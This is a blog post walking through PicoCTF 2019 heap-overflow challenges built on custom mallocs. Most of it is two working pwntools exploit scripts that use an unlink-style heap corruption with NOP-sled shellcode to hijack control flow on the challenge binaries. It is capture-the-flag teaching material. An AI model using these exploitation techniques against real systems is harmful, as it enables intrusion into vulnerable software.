Search This Blog

Friday, October 11, 2019

PicoCTF 2019 Heap Overflow Writeup

PicoCTF 2019 this year had 3 heap pwns with custom mallocs.

Note that in both Afterlife and Secondlife, the exploit was very similar to the hints.  You just had to flip the order of the addresses you place and slightly change the offset (by debugging in gdb) because the malloc was custom, but very similar to dlmalloc.  In the end, my script for both were the same.  The only differences were the win address.  Here was the basis of the script for both:

from pwn import *
context.log_level = 'debug'
#http://homes.sice.indiana.edu/yh33/Teaching/I433-2016/lec13-HeapAttacks.pdf
#basically same attack as secondlife
shellcode = '\x90' * 0x80 + '\xB8\x66\x89\x04\x08\xFF\xD0' + '\x90' * 0x80
'''
mov eax, 0x08048966
call eax
'''
exit = 0x804d02c
remote = ssh(DETAILS OMMITTED)
remote.set_working_directory('/problems/afterlife_4_1753231287c321c4b5b1102d1b2272c6')
#p = process(['./vuln', 'blah'])
p = remote.process(['./vuln', 'blah'])
p.recvline()
leak = p.recvline()
leak = int(leak)
log.info('Leak: ' + hex(leak))
p.interactive()
p.recvrepeat(0.3)
#p.sendline(p32(exit - 12) + p32(leak + 16) + shellcode)
p.sendline(p32(leak + 16) + p32(exit - 8) + shellcode)
print p.recvall()


Heap Overflow
Once again, another very similar payload is used on this custom malloc/free program.  Comments for the variation are in the script itself.
from pwn import *

win = 0x08048936
exit = 0x804d02c
free = 0x8049aa4
context.log_level = 'debug'

#https://www.win.tue.nl/~aeb/linux/hh/hh-11.html
remote = ssh(DETAILS OMITTED)
remote.set_working_directory('/problems/heap-overflow_6_b4a1244485bc8fdf27646e1db83dc360')
p = remote.process('./vuln')
#target first big chunk, overwrite puts@GOT with exit

p.recvline()
leak = int(p.recvline())
p.recvline()
log.info('Leak: ' + hex(leak))
#668 begins overflow
'''
Success! Watch carefully: p and q are 1032 (0x408) apart. The second 0xfffffffc overflows the size field of the buffer q with an even value (-4), so the prev_size field (also -4) is valid, and we subtract it from the pointer (q-8) to the struct chunk of q in order to get the pointer (q-4) to its predecessor. Now the assignments fwd->bk = bck; bck->fd = fwd; become *(A+12) = B; *(B+8) = A where A = 0x080495e8 is &n - 12 and B = 0xbfffff80 is some random address on the stack. Now *(A+12) = B does n = B, and that is what we see.
'''
#padding till overflow + valid prev size and valid size + padding + address to leak and then puts@GOT-8
shellcode = '\x90' * 60 + '\xB8\x36\x89\x04\x08\xFF\xD0' + '\x90' * 100
'''
mov eax, 0x08048936
call eax
'''
shellcode = shellcode + 'A' * (664 - len(shellcode))
payload = shellcode + p32(0xfffffffc) + p32(0xfffffffc) + p32(0x804d028-12) + p32(leak + 20)
p.sendline(payload)
p.interactive()
p.sendline()
print p.recvall()
'''
break here
0x8049bee <free+330>: mov    DWORD PTR [eax+0xc],edx
'''
These challenges were really easy heap challenges and were sort of weird too.

No comments:

Post a Comment